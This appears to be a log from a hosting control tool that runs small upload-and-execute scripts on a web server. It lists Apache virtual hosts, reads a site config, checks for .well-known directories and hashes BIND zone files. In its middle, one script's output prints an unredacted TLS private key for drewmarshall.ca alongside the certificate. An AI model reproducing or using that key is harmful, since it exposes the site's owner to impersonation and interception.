         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:01:27: 

PUT: /tmp/pkp702088

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:01:27: 

chmod 755 /tmp/pkp702088; /tmp/pkp702088; rm /tmp/pkp702088

2025-10-24 06:01:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf	1282

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-24 06:01:27: 

PUT: /tmp/pkp413991

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:01:27: 

chmod 755 /tmp/pkp413991; /tmp/pkp413991; rm /tmp/pkp413991

2025-10-24 06:01:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt	5374
44:76:16:89:ea:b1:e3:e7:3c:f4:56:f7:21:94:95:b4

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBaMdlRW3S3+d6EcB4Z/O4NpPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjU1WhcNMjYwMTIyMDUwMjU0WjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDLc2YLgwNPDPGxZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4Zh
G8uIiMUYQXNO3EiPcecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaP
Q3yYSvTnaYBnPLD84qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWyp
a9jTXILby/qC/Sz5salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/
CAvtWxO0VecpkHiNMHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3M
hI0BDZYo+GAscx47VO2GDNJlAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEIb4F/MyLKaxP5cMXEgHlmLu0xjMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODAuY3JsMIIBBAYKKwYB
BAHWeQIEAgSB9QSB8gDwAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGaFM7AFwAABAMASDBGAiEA3KIiQNvqrTCP1p/83S73Fr54WWXW91J4X63O
TKRDHNUCIQCf+wHyusAuK0+C7tn0s9g64WPkUHaBg3DkdxIjlip/kwB1ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTOwBcAAAQDAEYwRAIgKERJ
lsjhqyhQguRz9pPTN/Tiu9cIDwcE9ON/CexQKAsCIDiLllcV2dK2aHQNL4y9O4Ks
GBBL/3IYylDCKOS+hsbpMA0GCSqGSIb3DQEBCwUAA4IBAQCeQroHDrqB5n97+hfg
m9XzDGlrZtPoEyqSYuPU9aS+1OF60VBv7eG0Pg6xcbKYelz8uySF5tlyb0Pfa1g6
yv1RNBIINxIQJaCexm5fe0wo8CZdzn1IydCBhLwwSH1huxQbmmK0lIO4aQM7YHWN
q/2VnKFTRttsTmv3LSKHg9ZjPc8zKbQsQcTwJ2Og8GlCKm6uIa/Loh0MiFAv6oSf
3KMpFPIbbKGKUoWgH5KPonaoFHtiqX22TF4kpvw694G4QyP71oRnITgX8ZSOqsAf
tcYUeJybsT+i7JBzO9E5L3sbHfzeGFXR583mgS2ZO7StrxZkslyBT/qbCVcXfjrv
P9m3
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLc2YLgwNPDPGx
ZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4ZhG8uIiMUYQXNO3EiP
cecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaPQ3yYSvTnaYBnPLD8
4qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWypa9jTXILby/qC/Sz5
salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/CAvtWxO0VecpkHiN
MHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3MhI0BDZYo+GAscx47
VO2GDNJlAgMBAAECggEAHzVLcPae2lBs/r4zpXvxLxyFMI/CF2HPcGI2+l4jBzVi
17WxoosSlllOEjkygtDlrsL0IN1hV7Z4tvBM+jTThtxsJsffGtEx90XB4MFDTgWW
IFQnuml7i4DEqmIxOtaqVR4iZSEM3kk0CQanugbgLWTmcs+o1oUOMswZCUdW3lFU
Rmu93LjokQoxl9+i3qcrSTKlcg2dn0wb53y39Y9vb7anBAPuDvkHcFWCDYNzcfTX
nIt3Kg4tUsHPBxSWyXZovTUlAnF2yb01KF7C+ZYMzJztHyCMmVWXhcbtOKu1Fawh
PVxAZvcChKPxpF+ONvxBn8wXW95dyxofptNtzJTBQQKBgQD7bCc4DempyiGR78rF
O6vmEHU3q8ZDK6htfG5brr1ZVPZAAT+eAQe0nnVBaNB4MOabpGhAhG6fy5elOS0P
Wy13vjqMO9B7lT6AydRCCU9nJUDcSXw7FjoXyxzwua9xpNzE2BVBO4+KeQLbWYIL
y9nJOvIpQLj/p0I459MeW746VQKBgQDPJ6fblcvUV5T8X+7EGFBJISA3llBWRUh+
g0hB582+jbOm5BXyIR0YN9Dm8FNQMOuWCBXUkEGv06wz6PDDB1WYZUTJLlrcvaZp
mkL3wfawMZikC5EQbHWRXbUPSKhoLNTlm5jj51GACUJb7yma8jdkgf7S/2B29/BF
lddoIitn0QKBgQD0bccLJet+2DYezQNTEJokBugOgX80mmMaXhhkJdOL35+vxgb1
M4csP8k7GA1kbBYmRoXcA2QREjuRs65s+XWQrm35G8WqAARN7OngcXCylHMkNoUC
ZK+BpkOyfLNmRqMi8/hl/OOl+dOfMLvPgBVxH0+Cb5vrX85vyGFlaEfeKQKBgDD+
ZAjfKNIT1LzLw6DFT1e8ae47ssx0nmytiA1uUY7b3L1//GDDzCnKKbI07L9ukolt
aBxZ8e8v1O6CDU9TEL92VApw2DSU9iLLxULrsPiDAmLqCWkk/blfvE7dFFdvIvsb
DdH5B6GMjxFHQ0POPaObyzUECUCZ603J3qRWUIXBAoGBAJQ4GxIdwR0Mhkj+ri9j
9WYJdMsHKsBXAIDdP3jNprgLsBJW/9D5a6X79avs6lR7jnl5ik93KksIkgtRlLCW
//a0diF3NhiUOhqAiEOYXknNY6/wAe8LJQaqJcq9iwSVPOeN0FewlUyleZZCHEJ4
Ba+gVv9zOkc1068r7kIgVHAg
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-24 06:01:27: Establishing a connection
2025-10-24 06:01:28: Establishing a connection
2025-10-24 06:01:29: 

PUT: /tmp/pkp118451

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-24 06:01:30: 

chmod 755 /tmp/pkp118451; /tmp/pkp118451; rm /tmp/pkp118451

2025-10-24 06:01:30: 


0


2025-10-25 06:00:02: Establishing a connection
2025-10-25 06:00:04: Establishing a connection
2025-10-25 06:00:05: 

PUT: /tmp/pkp709597

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-25 06:00:05: 

chmod 755 /tmp/pkp709597; /tmp/pkp709597; rm /tmp/pkp709597

2025-10-25 06:00:06: 


0


2025-10-26 06:00:03: Establishing a connection
2025-10-26 06:00:04: Establishing a connection
2025-10-26 06:00:05: 

PUT: /tmp/pkp638019

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-26 06:00:06: 

chmod 755 /tmp/pkp638019; /tmp/pkp638019; rm /tmp/pkp638019

2025-10-26 06:00:06: 


0


2025-10-27 06:00:03: Establishing a connection
2025-10-27 06:00:03: Establishing a connection
2025-10-27 06:00:04: 

PUT: /tmp/pkp282894

#!/bin/bash
if [ -d "/var/www/pjy_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-27 06:00:05: 

chmod 755 /tmp/pkp282894; /tmp/pkp282894; rm /tmp/pkp282894

2025-10-27 06:00:05: 


0


2025-10-27 06:00:07: Establishing a connection
2025-10-27 06:00:07: Establishing a connection
2025-10-27 06:00:07: 

PUT: /tmp/pkp879231

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-27 06:00:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp879231; rm /tmp/pkp879231'

2025-10-27 06:00:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
